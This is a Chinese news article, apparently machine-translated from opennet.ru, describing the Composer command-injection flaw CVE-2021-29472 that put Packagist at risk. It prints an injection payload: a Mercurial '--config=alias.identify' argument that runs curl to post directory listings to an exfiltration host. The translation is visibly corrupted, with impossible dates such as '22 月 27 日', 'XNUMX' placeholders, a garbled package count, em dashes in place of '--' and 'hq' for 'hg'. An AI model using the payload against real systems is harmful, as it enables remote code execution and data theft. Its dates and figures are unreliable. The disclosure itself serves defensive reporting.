Composer 包管理器中存在导致 Packagist PHP 存储库受到威胁的漏洞

Composer 依赖管理器中已发现一个严重漏洞 (CVE-2021-29472),该漏洞允许在处理具有特殊格式的 URL 值(指定下载源代码的地址)的包时在系统上执行任意命令。该问题出现在使用 Git、Subversion 和 Mercurial 源控制系统时使用的 GitDriver、SvnDriver 和 HgDriver 组件中。该漏洞已在 Composer 版本 1.10.22 和 2.0.13 中得到解决。

需要特别指出的是,该问题主要影响 Composer 的默认包存储库 Packagist,该存储库为 PHP 开发人员提供了 306 个包,每月的下载量超过 1.4 亿次。实验表明,如果了解该问题,攻击者就可以控制 Packagist 基础设施并拦截维护者的凭据或将包下载重定向到第三方服务器,组织交付带有恶意更改的包变体以替代后门在依赖安装过程中。

最终用户面临的危险仅限于,composer.json 的内容通常由用户决定,并且在访问通常值得信赖的第三方存储库时会传输源链接。主要打击落在 Packagist.org 存储库和 Private Packagist 服务上,该服务调用 Composer 来传输从用户收到的数据。攻击者可以通过放置专门设计的包在 Packagist 服务器上执行代码。

Packagist 团队在报告漏洞后 12 小时内修复了该漏洞。研究人员于 22 月 27 日私下通知 Packagist 开发人员,该问题当天得到修复。 28 月 XNUMX 日发布了针对该漏洞的 Composer 公开更新,并于 XNUMX 月 XNUMX 日披露了详细信息。对 Packagist 服务器上的日志进行审核后,没有发现任何与该漏洞相关的可疑活动。

该问题是由根composer.json 文件和源下载链接中的URL 验证代码中的错误引起的。该错误自 2011 年 XNUMX 月以来一直存在于代码中。 Packagist 使用特殊的层来组织代码加载,而无需绑定到特定的源代码控制系统,这些代码通过调用“fromShellCommandline”并传递命令行参数来执行。例如,对于 git,调用命令“git ls-remote -heads $URL”,其中使用“ProcessExecutor::escape($url)”方法处理 URL,转义诸如“$(. ..)”或“` ...`”。

问题的核心是 ProcessExecutor::escape 方法没有转义“—”序列,这允许在 URL 中指定任何额外的调用参数。 GitDriver.php、SvnDriver.php 和 HgDriver.php 驱动程序中缺少此类转义。 GitDriver.php 攻击因“git ls-remote”命令不支持在路径后指定其他参数而受到阻碍。事实证明,通过将“--config”参数传递给“hq”实用程序,可以对 HgDriver.php 进行攻击,该实用程序允许您通过操纵“alias.identify”设置来组织任何命令的执行。例如,要通过运行curl实用程序下载并执行代码,您可以指定: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

通过将具有类似 URL 的测试包发布到 Packagist,研究人员验证了发布后,他们的服务器收到了来自 AWS 中的一台 Packagist 服务器的 HTTP 请求,其中包含当前目录中的文件列表。

来源: opennet.ru

添加评论